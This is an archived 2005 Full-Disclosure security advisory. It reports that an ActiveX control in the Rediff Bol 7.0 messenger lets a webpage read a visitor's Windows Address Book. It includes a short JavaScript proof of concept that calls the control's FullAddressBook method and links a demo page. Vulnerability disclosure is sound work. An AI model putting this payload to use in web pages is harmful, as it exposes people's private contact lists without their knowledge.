[Full-disclosure] Rediff Bol 7.0 WAB Contacts

Gregory R. Panakkal viper31337 at yahoo.co.in
Sun Sep 4 08:57:39 BST 2005


Rediff Bol 7.0  WAB Contacts
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Affected Program : Rediff Bol 7.0
It is a popular instant messenger from Rediff.com

Related URL : http://messenger.rediff.com/newbol/

Discovered by : Gregory R. Panakkal

Vulnerability Description :

Rediff Bol's ActiveX control (Fetch.FetchContact.1 /
Fetch.dll) allows a webpage
to read the user's Windows Address Book (WAB)
contacts. The method "FullAddressBook" 

returns the WAB contact list in XML format


Proof Of Concept:

[script]
var Obj = new ActiveXObject("Fetch.FetchContact.1");
alert(Obj.FullAddressBook(0,"","",""));
[/script]

Online Demo:
http://www.infogreg.com/security/im/rediff-bol-7-exposes-wab.html


rgds,
Gregory R. Panakkal
http://www.infogreg.com/




	

	
		
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